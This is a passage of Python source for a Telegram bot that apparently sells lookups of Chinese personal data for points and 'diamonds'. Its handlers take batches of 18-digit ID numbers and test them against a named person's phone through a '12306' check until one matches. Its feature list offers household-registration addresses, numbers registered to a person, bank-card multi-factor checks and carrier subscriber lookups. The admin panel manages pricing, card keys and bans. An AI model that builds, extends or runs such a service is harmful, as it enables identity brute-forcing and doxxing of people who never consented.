            bot.edit_message_text(f"处理失败：{html.escape(str(e))}", user_id, msg.message_id)
            if user_id in hnsf_user_data:
                del hnsf_user_data[user_id]
        return

    # 海南神父 - 接收直接输入的身份证
    if message.text and user_id in hnsf_user_data and hnsf_user_data[user_id].get('waiting_file'):
        user = DBUtils.get_user(user_id)
        msg = bot.reply_to(message, "🔄 正在处理...")
        try:
            input_text = message.text.strip()
            idcards = [x.strip().upper() for x in input_text.splitlines() if x.strip()]
            if len(idcards) == 1 and ' ' in idcards[0]:
                idcards = [x.strip().upper() for x in idcards[0].split() if x.strip()]
            elif len(idcards) == 1 and ',' in idcards[0]:
                idcards = [x.strip().upper() for x in idcards[0].split(',') if x.strip()]
            idcards = [x for x in idcards if len(x) == 18 and x[:-1].isdigit() and (x[-1].isdigit() or x[-1] == 'X')]
            if not idcards:
                bot.edit_message_text("❌ 未找到有效的18位身份证号码\n请每行输入一个18位身份证号", user_id, msg.message_id)
                del hnsf_user_data[user_id]
                return
            total_cost = len(idcards) * 2
            if not user['is_authorized'] and user['points'] < total_cost:
                bot.edit_message_text(f"❌ 积分不足！\n身份证总数：{len(idcards)} 条\n需要消耗：{total_cost}积分\n当前积分：{user['points']} 分", user_id, msg.message_id)
                del hnsf_user_data[user_id]
                return
            if not user['is_authorized']:
                DBUtils.update_user_points(user_id, -total_cost)
            bot.edit_message_text(f"🔄 正在批量查询海南神父...\n身份证总数：{len(idcards)} 条\n请耐心等待...", user_id, msg.message_id)
            process_hainan_batch(user_id, msg.message_id, idcards, user['is_authorized'])
        except Exception as e:
            bot.edit_message_text(f"处理失败：{html.escape(str(e))}", user_id, msg.message_id)
            if user_id in hnsf_user_data:
                del hnsf_user_data[user_id]
        return

    # 非库补齐 - 接收TXT文件
    if message.document and user_id in fk_user_data:
        if not message.document.file_name.lower().endswith('.txt'):
            bot.reply_to(message, "请上传TXT格式的文件！")
            return
        name = fk_user_data[user_id]['name']
        msg = bot.reply_to(message, "📥 正在下载并解析文件...")
        try:
            file_info = bot.get_file(message.document.file_id)
            downloaded_file = bot.download_file(file_info.file_path)
            file_content = downloaded_file.decode('utf-8', errors='ignore')
            idcards = [x.strip().upper() for x in file_content.splitlines() if x.strip()]
            idcards = [x for x in idcards if len(x) == 18 and x[:-1].isdigit() and (x[-1].isdigit() or x[-1] == 'X')]
            if not idcards:
                bot.edit_message_text("❌ 文件中未找到有效的18位身份证号码", user_id, msg.message_id)
                del fk_user_data[user_id]
                return
            bot.edit_message_text(
                f"🔄 非库补齐核验启动\n━━━━━━━━━━━━━━━━━━━━\n姓名：{name}\n身份证总数：{len(idcards)} 条\n核验中，请耐心等待...",
                user_id, msg.message_id)
            process_fk_batch(user_id, msg.message_id, name, idcards)
        except Exception as e:
            bot.edit_message_text(f"处理失败：{html.escape(str(e))}", user_id, msg.message_id)
            if user_id in fk_user_data:
                del fk_user_data[user_id]
        return

    # 12306无遗漏核验 - 接收身份证列表文件
    if message.document and user_id in plfr_user_data and plfr_user_data[user_id].get('mode') in ('12306', '12306_input'):
        if not message.document.file_name.lower().endswith('.txt'):
            bot.reply_to(message, "请上传TXT格式的文件！")
            return
        data_12306 = plfr_user_data[user_id]
        name = data_12306['name']
        phone = data_12306['phone']
        user = DBUtils.get_user(user_id)
        msg = bot.reply_to(message, "📥 正在下载并解析文件...")
        try:
            file_info = bot.get_file(message.document.file_id)
            downloaded_file = bot.download_file(file_info.file_path)
            file_content = downloaded_file.decode('utf-8', errors='ignore')
            idcards = [x.strip().upper() for x in file_content.splitlines() if x.strip()]
            idcards = [x for x in idcards if len(x) == 18 and x[:-1].isdigit() and (x[-1].isdigit() or x[-1] == 'X')]
            if not idcards:
                bot.edit_message_text("❌ 文件中未找到有效的18位身份证号码", user_id, msg.message_id)
                del plfr_user_data[user_id]
                return
            total_count = len(idcards)
            cost_units = (total_count + 99) // 100
            total_cost = cost_units * 1
            if user['diamonds'] < total_cost:
                bot.edit_message_text(
                    f"❌ 钻石不足！\n━━━━━━━━━━━━━━━━━━━━\n"
                    f"身份证总数：{total_count} 条\n"
                    f"需要消耗：{total_cost}💎（{cost_units}×1）\n"
                    f"当前钻石：{user['diamonds']}💎",
                    user_id, msg.message_id)
                del plfr_user_data[user_id]
                return
            bot.edit_message_text(
                f"🚄 正在12306批量核验...\n━━━━━━━━━━━━━━━━━━━━\n"
                f"姓名：{name}\n手机号：{phone}\n"
                f"身份证总数：{total_count} 条\n"
                f"预计消耗：{total_cost}💎\n"
                f"请耐心等待...",
                user_id, msg.message_id)
            start_time = time.time()
            matched_id = verify_12306_batch(name, phone, idcards)
            elapsed = round(time.time() - start_time, 2)
            DBUtils.update_user_diamonds(user_id, -total_cost)
            DBUtils.log_diamond_transaction(user_id, 'consume', -total_cost, f'12306无遗漏核验({total_count}条)', '')
            user = DBUtils.get_user(user_id)
            if matched_id:
                content = f"姓名：<code>{name}</code>\n手机号：<code>{phone}</code>\n匹配身份证：<code>{matched_id}</code>"
                full_result = create_collapsible_text("✅ 12306核验匹配成功", content, f"核验总数：{total_count} | 耗时：{elapsed}秒 | 消耗：{total_cost}💎 | 剩余：{user['diamonds']}💎")
            else:
                content = f"姓名：{name}\n手机号：{phone}\n核验身份证总数：{total_count} 条\n结果：未找到匹配的身份证"
                full_result = create_collapsible_text("❌ 12306核验未匹配", content, f"耗时：{elapsed}秒 | 消耗：{total_cost}💎 | 剩余：{user['diamonds']}💎")
            bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
        except Exception as e:
            bot.edit_message_text(f"核验失败：{html.escape(str(e))}", user_id, msg.message_id)
        del plfr_user_data[user_id]
        return

    # 12306无遗漏核验 - 接收直接输入的身份证
    if message.text and user_id in plfr_user_data and plfr_user_data[user_id].get('mode') in ('12306', '12306_input'):
        data_12306 = plfr_user_data[user_id]
        name = data_12306['name']
        phone = data_12306['phone']
        user = DBUtils.get_user(user_id)
        msg = bot.reply_to(message, "🔄 正在处理...")
        try:
            file_content = message.text
            idcards = [x.strip().upper() for x in file_content.splitlines() if x.strip()]
            # 兼容单条/多条输入：如果只有一行，尝试按空格/逗号分割
            if len(idcards) == 1 and ' ' in idcards[0]:
                idcards = [x.strip().upper() for x in idcards[0].split() if x.strip()]
            elif len(idcards) == 1 and ',' in idcards[0]:
                idcards = [x.strip().upper() for x in idcards[0].split(',') if x.strip()]
            idcards = [x for x in idcards if len(x) == 18 and x[:-1].isdigit() and (x[-1].isdigit() or x[-1] == 'X')]
            if not idcards:
                bot.edit_message_text("❌ 未找到有效的18位身份证号码\n请每行输入一个18位身份证号", user_id, msg.message_id)
                del plfr_user_data[user_id]
                return
            total_count = len(idcards)
            cost_units = (total_count + 99) // 100
            total_cost = cost_units * 1
            if user['diamonds'] < total_cost:
                bot.edit_message_text(
                    f"❌ 钻石不足！\n身份证总数：{total_count} 条\n需要消耗：{total_cost}💎\n当前钻石：{user['diamonds']}💎",
                    user_id, msg.message_id)
                del plfr_user_data[user_id]
                return
            bot.edit_message_text(
                f"🚄 正在12306批量核验...\n姓名：{name}\n手机号：{phone}\n身份证总数：{total_count} 条\n预计消耗：{total_cost}💎\n请耐心等待...",
                user_id, msg.message_id)
            start_time = time.time()
            matched_id = verify_12306_batch(name, phone, idcards)
            elapsed = round(time.time() - start_time, 2)
            DBUtils.update_user_diamonds(user_id, -total_cost)
            DBUtils.log_diamond_transaction(user_id, 'consume', -total_cost, f'12306无遗漏核验({total_count}条)', '')
            user = DBUtils.get_user(user_id)
            if matched_id:
                content = f"姓名：<code>{name}</code>\n手机号：<code>{phone}</code>\n匹配身份证：<code>{matched_id}</code>"
                full_result = create_collapsible_text("✅ 12306核验匹配成功", content, f"核验总数：{total_count} | 耗时：{elapsed}秒 | 消耗：{total_cost}💎 | 剩余：{user['diamonds']}💎")
            else:
                content = f"姓名：{name}\n手机号：{phone}\n核验身份证总数：{total_count} 条\n结果：未找到匹配的身份证"
                full_result = create_collapsible_text("❌ 12306核验未匹配", content, f"耗时：{elapsed}秒 | 消耗：{total_cost}💎 | 剩余：{user['diamonds']}💎")
            bot.edit_message_text(full_result, user_id, msg.message_id, parse_mode='HTML')
        except Exception as e:
            bot.edit_message_text(f"核验失败：{html.escape(str(e))}", user_id, msg.message_id)
        del plfr_user_data[user_id]
        return

# ==================== 回调处理器 ====================
@bot.callback_query_handler(func=lambda call: call.data == "check_joined")
def check_joined_callback(call):
    user_id = call.from_user.id
    if check_channel_membership(user_id):
        bot.answer_callback_query(call.id, "验证成功！")
        send_welcome(call.message)
    else:
        bot.answer_callback_query(call.id, "请先加入频道！", show_alert=True)

@bot.callback_query_handler(func=lambda call: call.data.startswith("admin_"))
def handle_admin_callback(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    action = call.data.replace("admin_", "")
    if action.startswith("users_page_"):
        page = int(action.replace("users_page_", ""))
        show_user_list_page(call, page)
        bot.answer_callback_query(call.id)
        return
    if action.startswith("switch_page_"):
        page = int(action.replace("switch_page_", ""))
        show_feature_switches(call, page)
        bot.answer_callback_query(call.id)
        return
    if action.startswith("switch_toggle_"):
        feature = action.replace("switch_toggle_", "")
        current = DBUtils.is_feature_enabled(feature)
        DBUtils.set_feature_switch(feature, not current)
        label = get_all_feature_labels().get(feature, feature)
        bot.answer_callback_query(call.id, f"{'关闭' if current else '开启'} {label}", show_alert=True)
        show_feature_switches(call, 0)
        return
    if action == "users":
        show_user_list_page(call, 0)
    elif action == "points":
        bot.edit_message_text("💰 积分管理\n━━━━━━━━━━━━━━━━━━━━\n请输入用户ID和积分数量：\n格式：用户ID 积分\n示例：123456 100", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
        bot.register_next_step_handler(call.message, admin_points_handler)
    elif action == "diamonds":
        bot.edit_message_text("💎 钻石管理\n━━━━━━━━━━━━━━━━━━━━\n请输入用户ID和钻石数量：\n格式：用户ID 钻石\n示例：123456 50", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
        bot.register_next_step_handler(call.message, admin_diamonds_handler)
    elif action == "price":
        bot.edit_message_text("⚙️ 价格管理\n━━━━━━━━━━━━━━━━━━━━", call.message.chat.id, call.message.message_id, reply_markup=build_price_keyboard())
    elif action == "card":
        bot.edit_message_text("🎫 卡密系统\n━━━━━━━━━━━━━━━━━━━━\n请选择操作：\n\n生成积分卡密：/admin_card 积分 张数\n生成钻石卡密：/admin_dcard 钻石 张数\n\n示例：\n/admin_card 10 5\n/admin_dcard 20 3", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
    elif action == "orders":
        orders_list = DBUtils.get_pending_orders()
        if not orders_list:
            bot.edit_message_text("📋 暂无待处理订单", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
            return
        bot.edit_message_text("📋 待处理订单\n━━━━━━━━━━━━━━━━━━━━", call.message.chat.id, call.message.message_id, reply_markup=build_order_list_keyboard(orders_list, 0))
    elif action == "broadcast":
        bot.edit_message_text("📢 广播消息\n━━━━━━━━━━━━━━━━━━━━\n请发送要广播的内容（文字/图片/文件）", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
        bot.register_next_step_handler(call.message, admin_broadcast_handler)
    elif action == "user_query":
        bot.edit_message_text("🔍 用户查询\n━━━━━━━━━━━━━━━━━━━━\n请输入要查询的用户ID：", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
        bot.register_next_step_handler(call.message, admin_user_query_handler)
    elif action == "ban_mgmt":
        bot.edit_message_text("🚫 封禁管理\n━━━━━━━━━━━━━━━━━━━━\n请输入要管理的用户ID：", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
        bot.register_next_step_handler(call.message, admin_ban_mgmt_handler)
    elif action == "auth_mgmt":
        bot.edit_message_text("🔑 授权管理\n━━━━━━━━━━━━━━━━━━━━\n请输入要管理的用户ID：", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
        bot.register_next_step_handler(call.message, admin_auth_mgmt_handler)
    elif action == "stats":
        all_users = DBUtils.get_all_users()
        pending = DBUtils.get_pending_order_count()
        total_users = len(all_users)
        total_points = sum(u[2] for u in all_users)
        total_diamonds = sum(u[3] for u in all_users)
        authorized = sum(1 for u in all_users if u[4])
        banned = sum(1 for u in all_users if u[5])
        text = f"📊 系统统计\n━━━━━━━━━━━━━━━━━━━━\n用户总数：{total_users}\n已授权：{authorized}\n已封禁：{banned}\n总积分：{total_points}\n总钻石：{total_diamonds}\n待处理订单：{pending}\n━━━━━━━━━━━━━━━━━━━━"
        bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
    elif action == "batch_points":
        bot.edit_message_text("📦 批量加分\n━━━━━━━━━━━━━━━━━━━━\n第一步：输入用户ID（多个用空格分隔）\n示例：123456 789012 345678", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
        bot.register_next_step_handler(call.message, admin_batch_points_step1)
    elif action == "switch":
        show_feature_switches(call, 0)
    bot.answer_callback_query(call.id)

USERS_PER_PAGE = 15

def show_user_list_page(call, page=0):
    all_users = DBUtils.get_all_users()
    if not all_users:
        bot.edit_message_text("暂无用户", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
        return
    total = len(all_users)
    start = page * USERS_PER_PAGE
    end = min(start + USERS_PER_PAGE, total)
    text = f"👤 用户列表（{total}人）\n━━━━━━━━━━━━━━━━━━━━\n"
    for i in range(start, end):
        uid, username, points, diamonds, auth, banned, invite_count = all_users[i]
        status = "❌" if banned else "✅"
        auth_icon = "🔑" if auth else ""
        text += f"{status} {uid} | {username} | {points}分 | {diamonds}💎 {auth_icon}\n"
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=2)
    nav = []
    if page > 0:
        nav.append(telebot.types.InlineKeyboardButton("⬅️ 上一页", callback_data=f"admin_users_page_{page-1}"))
    if end < total:
        nav.append(telebot.types.InlineKeyboardButton("➡️ 下一页", callback_data=f"admin_users_page_{page+1}"))
    if nav:
        keyboard.add(*nav)
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin"))
    bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=keyboard)

@bot.callback_query_handler(func=lambda call: call.data.startswith("admin_users_page_"))
def handle_admin_users_page(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    page = int(call.data.replace("admin_users_page_", ""))
    show_user_list_page(call, page)
    bot.answer_callback_query(call.id)

SWITCH_PER_PAGE = 6

def get_all_feature_labels():
    return {'man': '慢线假地址', 'dy': '抖音反', 'zhend': '拼接真地址', 'dk': '大库户籍地', 'mxh': '名下号', 'boc': '中国银行',
            'eys': '二要素核验', 'sys': '三要素核验', 'yhk': '银行卡归属地',
            'k3': '银行卡三要素', 'k4': '银行卡四要素', 'id_extract': '身份证提取',
            'fr': '法人', 'yyzz': '营业执照', 'mxqy': '名下企业', 'khjc': '空号检测', 'ltjz': '联通机主',
            'cha': '企业名查信用代码', 'hnsf': '海南神父', 'bsmh': '八省模糊', 'dthy': '大头核验'}

def show_feature_switches(call, page=0):
    all_features = list(get_all_feature_labels().items())
    total = len(all_features)
    start = page * SWITCH_PER_PAGE
    end = min(start + SWITCH_PER_PAGE, total)
    text = f"🔀 功能开关（{page+1}/{(total+SWITCH_PER_PAGE-1)//SWITCH_PER_PAGE}页）\n━━━━━━━━━━━━━━━━━━━━\n"
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    for i in range(start, end):
        fname, flabel = all_features[i]
        enabled = DBUtils.is_feature_enabled(fname)
        icon = "🟢" if enabled else "🔴"
        keyboard.add(telebot.types.InlineKeyboardButton(f"{icon} {flabel}", callback_data=f"switch_toggle_{fname}"))
    nav = []
    if page > 0:
        nav.append(telebot.types.InlineKeyboardButton("⬅️ 上一页", callback_data=f"switch_page_{page-1}"))
    if end < total:
        nav.append(telebot.types.InlineKeyboardButton("➡️ 下一页", callback_data=f"switch_page_{page+1}"))
    if nav:
        keyboard.row(*nav)
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin"))
    bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=keyboard)

@bot.callback_query_handler(func=lambda call: call.data.startswith("switch_toggle_"))
def handle_switch_toggle(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    feature = call.data.replace("switch_toggle_", "")
    current = DBUtils.is_feature_enabled(feature)
    DBUtils.set_feature_switch(feature, not current)
    label = get_all_feature_labels().get(feature, feature)
    bot.answer_callback_query(call.id, f"{'关闭' if current else '开启'} {label}", show_alert=True)
    show_feature_switches(call, 0)

@bot.callback_query_handler(func=lambda call: call.data.startswith("switch_page_"))
def handle_switch_page(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    page = int(call.data.replace("switch_page_", ""))
    show_feature_switches(call, page)
    bot.answer_callback_query(call.id)

@bot.callback_query_handler(func=lambda call: call.data in ("price_default", "price_user", "price_view", "price_custom_list"))
def handle_price_callback(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    action = call.data.replace("price_", "")
    if action == "default":
        bot.edit_message_text("📝 设置默认价格\n━━━━━━━━━━━━━━━━━━━━\n请选择要设置的服务：", call.message.chat.id, call.message.message_id, reply_markup=build_service_keyboard("price_set"))
    elif action == "user":
        bot.edit_message_text("👤 设置用户单独价格\n━━━━━━━━━━━━━━━━━━━━\n请选择服务后输入：用户ID 价格\n格式：用户ID 价格\n示例：123456 15", call.message.chat.id, call.message.message_id, reply_markup=build_service_keyboard("price_user"))
    elif action == "view":
        prices = DBUtils.get_all_service_prices()
        text = "📋 当前服务价格（默认）\n━━━━━━━━━━━━━━━━━━━━\n"
        for name, price in prices:
            label = "🐢 " + get_service_label(name)
            text += f"{label}：{price} 💎\n"
        bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_price")))
    elif action == "custom_list":
        show_custom_price_list(call, 0)
    bot.answer_callback_query(call.id)

@bot.callback_query_handler(func=lambda call: call.data.startswith("price_set_"))
def handle_price_set_callback(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    service = call.data.replace("price_set_", "")
    label = get_service_label(service)
    bot.edit_message_text(f"📝 设置「{label}」默认价格\n━━━━━━━━━━━━━━━━━━━━\n当前价格：{DBUtils.get_service_price(service)} 💎\n请输入新价格（数字）：", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 取消", callback_data="back_price")))
    bot.register_next_step_handler(call.message, admin_price_set_handler, service)

@bot.callback_query_handler(func=lambda call: call.data.startswith("price_user_"))
def handle_price_user_callback(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    service = call.data.replace("price_user_", "")
    label = get_service_label(service)
    bot.edit_message_text(f"👤 设置「{label}」用户单独价格\n━━━━━━━━━━━━━━━━━━━━\n格式：用户ID 价格\n示例：123456 15\n\n输入后该用户使用此价格，不受默认价格影响", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 取消", callback_data="back_price")))
    bot.register_next_step_handler(call.message, admin_price_user_handler, service)

CUSTOM_PRICE_PER_PAGE = 5

def show_custom_price_list(call, page=0):
    all_rows = DBUtils.get_all_user_service_prices()
    if not all_rows:
        bot.edit_message_text("📊 暂无设置单独价格的用户", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_price")))
        return
    from collections import OrderedDict
    user_prices = OrderedDict()
    for uid, username, service_name, price in all_rows:
        if uid not in user_prices:
            user_prices[uid] = {'username': username, 'services': []}
        user_prices[uid]['services'].append((service_name, price))
    user_list = list(user_prices.items())
    total = len(user_list)
    start = page * CUSTOM_PRICE_PER_PAGE
    end = min(start + CUSTOM_PRICE_PER_PAGE, total)
    text = f"📊 单独价格用户（{total}人）\n━━━━━━━━━━━━━━━━━━━━\n"
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    for i in range(start, end):
        uid, info = user_list[i]
        uname = info['username'] or '未知'
        svc_str = ' | '.join([f"{get_service_label(s)}:{p}💎" for s, p in info['services']])
        text += f"{i+1}. {uid} ({uname})\n   {svc_str}\n"
        keyboard.add(telebot.types.InlineKeyboardButton(f"✏️ {uid} - {uname}", callback_data=f"price_edit_user_{uid}"))
    nav = []
    if page > 0:
        nav.append(telebot.types.InlineKeyboardButton("⬅️ 上一页", callback_data=f"price_custom_page_{page-1}"))
    if end < total:
        nav.append(telebot.types.InlineKeyboardButton("➡️ 下一页", callback_data=f"price_custom_page_{page+1}"))
    if nav:
        keyboard.row(*nav)
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_price"))
    bot.edit_message_text(text, call.message.chat.id, call.message.message_id, reply_markup=keyboard)

@bot.callback_query_handler(func=lambda call: call.data.startswith("price_custom_page_"))
def handle_price_custom_page(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    page = int(call.data.replace("price_custom_page_", ""))
    show_custom_price_list(call, page)
    bot.answer_callback_query(call.id)

@bot.callback_query_handler(func=lambda call: call.data.startswith("price_edit_user_"))
def handle_price_edit_user(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    uid = int(call.data.replace("price_edit_user_", ""))
    user = DBUtils.get_user(uid)
    username = user['username'] if user else '未知'
    user_prices = DBUtils.get_user_service_prices(uid)
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    for svc, price in user_prices:
        label = get_service_label(svc)
        keyboard.add(telebot.types.InlineKeyboardButton(f"✏️ {label}：当前 {price}💎", callback_data=f"price_modify_{uid}_{svc}_{price}"))
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回列表", callback_data="price_custom_list"))
    bot.edit_message_text(f"✏️ 修改 {uid} ({username}) 的价格\n━━━━━━━━━━━━━━━━━━━━", call.message.chat.id, call.message.message_id, reply_markup=keyboard)
    bot.answer_callback_query(call.id)

@bot.callback_query_handler(func=lambda call: call.data.startswith("price_modify_"))
def handle_price_modify(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    parts = call.data.replace("price_modify_", "").split("_")
    uid = int(parts[0])
    svc = parts[1]
    old_price = int(parts[2])
    label = get_service_label(svc)
    bot.edit_message_text(f"✏️ 修改 {uid} 的 {label} 价格\n━━━━━━━━━━━━━━━━━━━━\n当前价格：{old_price}💎\n\n请输入新价格：",
        call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 取消", callback_data=f"price_edit_user_{uid}")))
    bot.register_next_step_handler(call.message, admin_price_modify_handler, uid, svc)

def admin_price_modify_handler(message, uid, svc):
    try:
        new_price = int(message.text.strip())
        if new_price < 0:
            bot.reply_to(message, "价格不能为负数！")
            return
    except (ValueError, AttributeError):
        bot.reply_to(message, "格式错误！请输入数字")
        return
    DBUtils.set_user_service_price(uid, svc, new_price)
    label = get_service_label(svc)
    bot.reply_to(message, f"✅ 已将用户 {uid} 的 {label} 价格修改为 {new_price}💎")

@bot.callback_query_handler(func=lambda call: call.data == "back_price")
def back_price_callback(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    bot.edit_message_text("⚙️ 价格管理\n━━━━━━━━━━━━━━━━━━━━", call.message.chat.id, call.message.message_id, reply_markup=build_price_keyboard())
    bot.answer_callback_query(call.id)

@bot.callback_query_handler(func=lambda call: call.data == "back_admin")
def back_admin_callback(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    pending_count = DBUtils.get_pending_order_count()
    all_users = DBUtils.get_all_users()
    total_users = len(all_users)
    total_points = sum(u[2] for u in all_users)
    total_diamonds = sum(u[3] for u in all_users)
    admin_text = f"""
👑 管理员面板
━━━━━━━━━━━━━━━━━━━━
📊 系统统计
• 用户总数：{total_users}
• 待处理订单：{pending_count}
• 总积分：{total_points}
• 总钻石：{total_diamonds}
━━━━━━━━━━━━━━━━━━━━
请选择操作：
    """
    bot.edit_message_text(admin_text, call.message.chat.id, call.message.message_id, reply_markup=build_admin_keyboard())
    bot.answer_callback_query(call.id)

@bot.callback_query_handler(func=lambda call: call.data.startswith("ban_toggle_"))
def handle_ban_toggle(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    parts = call.data.replace("ban_toggle_", "").split("_")
    target_id = int(parts[0])
    new_status = int(parts[1])
    DBUtils.update_ban_status(target_id, new_status)
    user = DBUtils.get_user(target_id)
    status = "❌ 已封禁" if new_status == 1 else "✅ 已解封"
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    if new_status == 1:
        keyboard.add(telebot.types.InlineKeyboardButton("✅ 解封用户", callback_data=f"ban_toggle_{target_id}_0"))
    else:
        keyboard.add(telebot.types.InlineKeyboardButton("❌ 封禁用户", callback_data=f"ban_toggle_{target_id}_1"))
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin"))
    bot.edit_message_text(f"🚫 封禁管理\n━━━━━━━━━━━━━━━━━━━━\n用户ID：{target_id}\n用户名：{user.get('username', '未知') if user else '未知'}\n当前状态：{status}", call.message.chat.id, call.message.message_id, reply_markup=keyboard)
    bot.answer_callback_query(call.id, f"已{'封禁' if new_status == 1 else '解封'}用户 {target_id}")

@bot.callback_query_handler(func=lambda call: call.data.startswith("auth_toggle_"))
def handle_auth_toggle(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    parts = call.data.replace("auth_toggle_", "").split("_")
    target_id = int(parts[0])
    new_status = int(parts[1])
    DBUtils.update_authorization(target_id, new_status)
    user = DBUtils.get_user(target_id)
    status = "🔑 已授权" if new_status == 1 else "🔒 已取消授权"
    keyboard = telebot.types.InlineKeyboardMarkup(row_width=1)
    if new_status == 1:
        keyboard.add(telebot.types.InlineKeyboardButton("🔒 取消授权", callback_data=f"auth_toggle_{target_id}_0"))
    else:
        keyboard.add(telebot.types.InlineKeyboardButton("🔑 授权用户", callback_data=f"auth_toggle_{target_id}_1"))
    keyboard.add(telebot.types.InlineKeyboardButton("🔙 返回主菜单", callback_data="back_admin"))
    bot.edit_message_text(f"🔑 授权管理\n━━━━━━━━━━━━━━━━━━━━\n用户ID：{target_id}\n用户名：{user.get('username', '未知') if user else '未知'}\n当前状态：{status}", call.message.chat.id, call.message.message_id, reply_markup=keyboard)
    bot.answer_callback_query(call.id, f"已{'授权' if new_status == 1 else '取消授权'}用户 {target_id}")

@bot.callback_query_handler(func=lambda call: call.data.startswith("order_"))
def handle_order_callback(call):
    if call.from_user.id not in ADMIN_IDS:
        bot.answer_callback_query(call.id, "无权限操作！", show_alert=True)
        return
    data = call.data.replace("order_", "")
    if data == "refresh":
        orders_list = DBUtils.get_pending_orders()
        if not orders_list:
            bot.edit_message_text("📋 暂无待处理订单", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
            return
        bot.edit_message_text("📋 待处理订单\n━━━━━━━━━━━━━━━━━━━━", call.message.chat.id, call.message.message_id, reply_markup=build_order_list_keyboard(orders_list, 0))
    elif data == "list":
        orders_list = DBUtils.get_pending_orders()
        if not orders_list:
            bot.edit_message_text("📋 暂无待处理订单", call.message.chat.id, call.message.message_id, reply_markup=telebot.types.InlineKeyboardMarkup().add(telebot.types.InlineKeyboardButton("🔙 返回", callback_data="back_admin")))
            return
        bot.edit_message_text("📋 待处理订单\n━━━━━━━━━━━━━━━━━━━━", call.message.chat.id, call.message.message_id, reply_markup=build_order_list_keyboard(orders_list, 0))
    elif data.startswith("page_"):
        page = int(data.replace("page_", ""))
        orders_list = DBUtils.get_pending_orders()
